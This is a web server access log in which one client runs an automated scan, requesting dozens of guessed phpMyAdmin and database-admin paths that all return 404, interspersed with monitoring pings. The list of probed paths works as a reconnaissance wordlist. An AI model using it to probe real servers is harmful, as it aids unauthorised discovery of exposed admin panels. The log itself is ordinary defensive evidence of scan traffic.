85.244.166.12 - - [09/Feb/2020:23:03:47 +0100] "GET /administrator/db/index.php?lang=en HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:03:48 +0100] "GET /administrator/web/index.php?lang=en HTTP/1.1" 404 332 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:03:48 +0100] "GET /administrator/pma/index.php?lang=en HTTP/1.1" 404 332 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:03:48 +0100] "GET /administrator/PMA/index.php?lang=en HTTP/1.1" 404 332 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:03:48 +0100] "GET /administrator/admin/index.php?lang=en HTTP/1.1" 404 334 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:03:48 +0100] "GET /phpMyAdmin2/index.php?lang=en HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:03:48 +0100] "GET /phpMyAdmin3/index.php?lang=en HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:03:49 +0100] "GET /phpMyAdmin4/index.php?lang=en HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:03:49 +0100] "GET /phpMyAdmin-3/index.php?lang=en HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:03:49 +0100] "GET /php-my-admin/index.php?lang=en HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:03:49 +0100] "GET /PMA2011/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:03:49 +0100] "GET /PMA2012/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:03:50 +0100] "GET /PMA2013/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:03:50 +0100] "GET /PMA2014/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:03:50 +0100] "GET /PMA2015/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:03:50 +0100] "GET /PMA2016/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:03:50 +0100] "GET /PMA2017/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:03:50 +0100] "GET /PMA2018/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:03:51 +0100] "GET /PMA2019/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:03:51 +0100] "GET /PMA2020/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:03:51 +0100] "GET /pma2011/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:03:51 +0100] "GET /pma2012/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:03:52 +0100] "GET /pma2013/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:03:52 +0100] "GET /pma2014/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:03:52 +0100] "GET /pma2015/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:03:52 +0100] "GET /pma2016/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:03:52 +0100] "GET /pma2017/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:03:53 +0100] "GET /pma2018/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:03:53 +0100] "GET /pma2019/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:03:53 +0100] "GET /pma2020/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:03:53 +0100] "GET /phpmyadmin2011/index.php?lang=en HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:03:54 +0100] "GET /phpmyadmin2012/index.php?lang=en HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:03:54 +0100] "GET /phpmyadmin2013/index.php?lang=en HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:03:54 +0100] "GET /phpmyadmin2014/index.php?lang=en HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:03:54 +0100] "GET /phpmyadmin2015/index.php?lang=en HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:03:55 +0100] "GET /phpmyadmin2016/index.php?lang=en HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:03:55 +0100] "GET /phpmyadmin2017/index.php?lang=en HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:03:55 +0100] "GET /phpmyadmin2018/index.php?lang=en HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:03:55 +0100] "GET /phpmyadmin2019/index.php?lang=en HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:03:55 +0100] "GET /phpmyadmin2020/index.php?lang=en HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:03:56 +0100] "GET /index.php?lang=en HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
212.91.246.72 - - [09/Feb/2020:23:04:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:23:05:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
138.118.22.26 - - [09/Feb/2020:23:05:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:06:16 +0100] "GET /phpmyadmin/index.php?lang=en HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:06:16 +0100] "GET /phpMyadmin/index.php?lang=en HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:06:16 +0100] "GET /phpMyAdmin/index.php?lang=en HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:06:17 +0100] "GET /phpmyAdmin/index.php?lang=en HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:06:17 +0100] "GET /mysql/index.php?lang=en HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:06:17 +0100] "GET /database/index.php?lang=en HTTP/1.1" 404 323 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:06:17 +0100] "GET /phpmyadmin1/index.php?lang=en HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:06:17 +0100] "GET /phpmyadmin2/index.php?lang=en HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:06:18 +0100] "GET /phpmyadmin3/index.php?lang=en HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:06:18 +0100] "GET /phpmyadmin4/index.php?lang=en HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:06:18 +0100] "GET /mysql/admin/index.php?lang=en HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:06:18 +0100] "GET /mysql/dbadmin/index.php?lang=en HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:06:19 +0100] "GET /mysql/sqlmanager/index.php?lang=en HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:06:19 +0100] "GET /mysql/mysqlmanager/index.php?lang=en HTTP/1.1" 404 333 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:06:19 +0100] "GET /2phpmyadmin/index.php?lang=en HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:06:19 +0100] "GET /wp-content/plugins/portable-phpmyadmin/wp-pma-mod/index.php?lang=en HTTP/1.1" 404 364 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:06:19 +0100] "GET /phpmy/index.php?lang=en HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:06:20 +0100] "GET /phppma/index.php?lang=en HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:06:20 +0100] "GET /myadmin/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:06:20 +0100] "GET /shopdb/index.php?lang=en HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:06:20 +0100] "GET /MyAdmin/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:06:20 +0100] "GET /program/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:06:20 +0100] "GET /PMA/index.php?lang=en HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:06:21 +0100] "GET /dbadmin/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:06:21 +0100] "GET /pma/index.php?lang=en HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:06:21 +0100] "GET /db/index.php?lang=en HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:06:21 +0100] "GET /admin/index.php?lang=en HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:06:21 +0100] "GET /db/phpmyadmin/index.php?lang=en HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:06:22 +0100] "GET /db/phpMyAdmin/index.php?lang=en HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:06:22 +0100] "GET /sqlmanager/index.php?lang=en HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:06:22 +0100] "GET /mysqlmanager/index.php?lang=en HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:06:22 +0100] "GET /php-myadmin/index.php?lang=en HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:06:23 +0100] "GET /phpmy-admin/index.php?lang=en HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:06:23 +0100] "GET /mysqladmin/index.php?lang=en HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:06:23 +0100] "GET /mysql-admin/index.php?lang=en HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:06:23 +0100] "GET /admin/phpmyadmin/index.php?lang=en HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:06:24 +0100] "GET /admin/phpMyAdmin/index.php?lang=en HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:06:24 +0100] "GET /admin/sysadmin/index.php?lang=en HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:06:24 +0100] "GET /admin/sqladmin/index.php?lang=en HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:06:24 +0100] "GET /admin/db/index.php?lang=en HTTP/1.1" 404 323 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:06:24 +0100] "GET /admin/web/index.php?lang=en HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:06:24 +0100] "GET /admin/pMA/index.php?lang=en HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:06:25 +0100] "GET /mysql/pma/index.php?lang=en HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:06:25 +0100] "GET /mysql/db/index.php?lang=en HTTP/1.1" 404 323 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:06:25 +0100] "GET /mysql/web/index.php?lang=en HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:06:25 +0100] "GET /mysql/pMA/index.php?lang=en HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:06:26 +0100] "GET /sql/phpmanager/index.php?lang=en HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:06:26 +0100] "GET /sql/php-myadmin/index.php?lang=en HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:06:26 +0100] "GET /sql/phpmy-admin/index.php?lang=en HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:06:27 +0100] "GET /sql/sql/index.php?lang=en HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
212.91.246.72 - - [09/Feb/2020:23:06:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
85.244.166.12 - - [09/Feb/2020:23:06:27 +0100] "GET /sql/myadmin/index.php?lang=en HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:06:27 +0100] "GET /sql/webadmin/index.php?lang=en HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:06:28 +0100] "GET /sql/sqlweb/index.php?lang=en HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:06:28 +0100] "GET /sql/websql/index.php?lang=en HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:06:28 +0100] "GET /sql/webdb/index.php?lang=en HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:06:28 +0100] "GET /sql/sqladmin/index.php?lang=en HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:06:29 +0100] "GET /sql/sql-admin/index.php?lang=en HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:06:29 +0100] "GET /sql/phpmyadmin2/index.php?lang=en HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:06:29 +0100] "GET /sql/phpMyAdmin2/index.php?lang=en HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:06:30 +0100] "GET /sql/phpMyAdmin/index.php?lang=en HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
85.244.166.12 - - [09/Feb/2020:23:06:30 +0100] "GET /db/myadmin/index.php?lang=en HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
